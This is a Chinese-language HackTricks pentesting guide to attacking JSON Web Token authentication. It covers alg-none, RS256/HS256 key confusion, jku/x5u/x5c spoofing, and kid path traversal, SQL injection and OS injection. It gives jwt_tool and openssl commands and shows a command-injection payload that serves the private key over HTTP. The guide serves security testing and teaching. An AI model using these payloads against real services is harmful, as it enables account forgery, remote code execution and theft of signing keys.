hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

16 KiB
Raw Blame History

JWT漏洞Json Web Tokens

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

赏金猎人提示注册Intigriti一个由黑客创建的高级赏金猎人平台!立即加入我们的https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

本文的一部分内容来自:https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
伟大的JWT渗透测试工具的作者https://github.com/ticarpi/jwt_tool

快速成功

使用All Tests!模式运行jwt_tool,等待出现绿色行

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

如果你很幸运工具会找到一些情况即网页应用程序在检查JWT时出现错误

然后你可以在代理中搜索该请求或使用jwt_tool转储该请求使用的JWT

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

在不修改任何内容的情况下篡改数据

你可以只篡改数据而保留签名,然后检查服务器是否在检查签名。尝试将用户名更改为"admin"。

令牌是否被检查?

  • 如果出现错误消息,则表示正在检查签名 - 阅读可能泄露敏感信息的任何详细错误信息。
  • 如果返回的页面不同,则表示正在检查签名。
  • 如果页面相同,则表示未检查签名 - 是时候开始篡改有效载荷声明,看看你能做什么了!

来源

检查令牌在代理的请求历史中的来源。它应该是在服务器上创建的,而不是在客户端上。

  • 如果首次出现在客户端,则表示密钥可以被客户端代码访问 - 找出它!
  • 如果首次出现在服务器上,则一切正常。

有效期

检查令牌是否持续时间超过24小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。

暴力破解HMAC密钥

查看此页面。

将算法修改为None (CVE-2015-9235)

将使用的算法设置为"None"并删除签名部分。

使用Burp扩展程序"JSON Web Token"尝试此漏洞并更改JWT中的不同值将请求发送到Repeater在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。

将算法从RS256非对称更改为HS256对称(CVE-2016-5431/CVE-2016-10555)

算法HS256使用密钥对每个消息进行签名和验证。
算法RS256使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256更改为HS256则后端代码将使用公钥作为密钥然后使用HS256算法来验证签名。

然后使用公钥并将RS256更改为HS256我们可以创建一个有效的签名。您可以通过执行以下操作检索Web服务器的证书

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

在头部插入新的公钥

攻击者在令牌的头部插入一个新的密钥服务器使用这个新的密钥来验证签名CVE-2018-0114

可以使用"JSON Web Tokens" Burp扩展来实现这一点。
将请求发送到Repeater在JSON Web Token选项卡中选择"CVE-2018-0114"并发送请求)。

JWKS欺骗

如果令牌使用了“jku”头声明请查看提供的URL。这个URL应该指向一个包含用于验证令牌的公钥的JWKS文件。篡改令牌将jku值指向一个你可以监视流量的Web服务。

如果你得到了一个HTTP交互那么你现在知道服务器正在尝试从你提供的URL加载密钥。使用jwt_tool的-S标志和-u http://example.com 参数一起生成一个新的密钥对注入你提供的URL生成一个包含公钥的JWKS并用私钥签名令牌

Kid问题

kid是一个可选的头声明,用于保存密钥标识符,当你有多个密钥用于签署令牌时,你需要查找正确的密钥来验证签名。

"kid"问题 - 泄露密钥

如果头部使用了"kid"声明请检查该文件或其变体是否存在于Web目录中。例如如果"kid":"key/12345"则查找_web root_ 中的 /key/12345/key/12345.pem

"kid"问题 - 路径遍历

如果头部使用了"kid"声明,请检查是否可以在文件系统中使用不同的文件。选择一个你可能能够预测内容的文件,或者尝试"kid":"/dev/tcp/yourIP/yourPort"来测试连接性,甚至一些SSRF载荷...
使用jwt_tool的-T标志来篡改JWT并更改kid声明的值然后选择保留原始签名

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

使用已知内容的主机内的文件您还可以伪造一个有效的JWT。例如在Linux系统中文件/proc/sys/kernel/randomize_va_space的值设置为2。因此,将该路径放入“kid”参数中,并使用“2”作为对称密码生成JWT您应该能够生成一个有效的新JWT。

"kid"问题 - SQL注入

在将“kid”的内容用于从数据库中检索密码的场景中您可以将“kid”参数中的有效负载更改为non-existent-index' UNION SELECT 'ATTACKER';-- -,然后使用秘密密钥ATTACKER签署JWT。

"kid"问题 - OS注入

在“kid”参数包含指向包含密钥的文件的路径并且此路径正在执行的命令中使用时您可以使用以下有效负载获得RCE并公开私钥/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

杂项攻击

以下是已知的应进行测试的弱点。

跨服务中继攻击

某些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。过去曾发生过这样的情况即为JWT服务的一个客户端生成的令牌实际上可以被该服务的另一个客户端接受。
如果您观察到JWT通过第三方服务发出或更新则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册帐户。如果可以,请尝试将该令牌重放到目标请求中。它是否被接受?

  • 如果您的令牌被接受,则可能存在一个关键问题,允许您伪造任何用户的帐户。但是,请注意,如果您正在第三方应用程序上注册,您可能需要寻求更广泛的测试权限以防止进入法律灰色地带!

是否检查exp

“exp”负载声明用于检查令牌的到期时间。由于JWT通常在缺少会话信息的情况下使用因此需要小心处理它们-在许多情况下捕获和重放他人的JWT将允许您冒充该用户。
JWT重放攻击的一种缓解措施由JWT RFC建议是使用“exp”声明为令牌设置到期时间。还重要的是在应用程序中设置相关检查以确保处理此值并在令牌过期时拒绝令牌。如果令牌包含“exp”声明并且测试时间限制允许请尝试存储令牌并在过期时间过去后重放它。使用jwt_tool的-R标志读取令牌的内容其中包括时间戳解析和到期检查时间戳为UTC

  • 如果令牌仍然在应用程序中验证,则可能存在安全风险,因为令牌可能永远不会过期。

x5u和jku

jku

jku代表JWK Set URL
如果令牌使用“jku声明,则检查提供的URL。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。首先您需要创建一个包含新私钥和公钥的新证书。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

然后,您可以使用jwt.io来使用创建的公钥和私钥并将参数jku指向创建的证书来创建新的JWT。为了创建有效的jku证书您可以下载原始证书并更改所需的参数。

您可以使用以下方法从公共证书中获取参数"e"和"n"

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。指向一组以PEM格式编码的X.509证书格式标准公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的证书依次签署前一个证书从而完成证书链。X.509在RFC 52807中定义。需要使用传输安全性来传输证书。

尝试将此标头更改为您控制的URL并检查是否收到任何请求。在这种情况下您可以篡改JWT。

要使用您控制的证书伪造一个新的令牌,您需要创建证书并提取公钥和私钥:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

然后,你可以使用例如 jwt.io 来使用创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt 来创建新的 JWT。

你还可以滥用这两个漏洞用于 SSRF 攻击

x5c

该参数可以包含以 base64 编码的证书

如果攻击者生成了自签名证书,并使用相应的私钥创建了伪造的令牌,并将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t那么伪造的令牌将被服务器接受。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

嵌入公钥CVE-2018-0114

如果JWT中嵌入了公钥就像下面的场景一样

使用以下Node.js脚本可以从该数据生成公钥

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它生成新的签名:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

您可以使用以下Node.js脚本获取“n”和“e”

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最后使用公钥和私钥以及新的“n”和“e”值您可以使用jwt.io伪造一个包含任何信息的新有效JWT。

JTIJWT ID

JTIJWT ID声明为JWT令牌提供了一个唯一的标识符。它可以用于防止令牌被重放。
然而想象一种情况ID的最大长度为40001-9999。请求0001和10001将使用相同的ID。因此如果后端在每个请求上递增ID您可以滥用此功能来重放请求需要在每次成功重放之间发送10000个请求

JWT注册声明

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

工具

{% embed url="https://github.com/ticarpi/jwt_tool" %}


Bug赏金提示注册Intigriti一个由黑客创建的高级Bug赏金平台!立即加入我们的https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥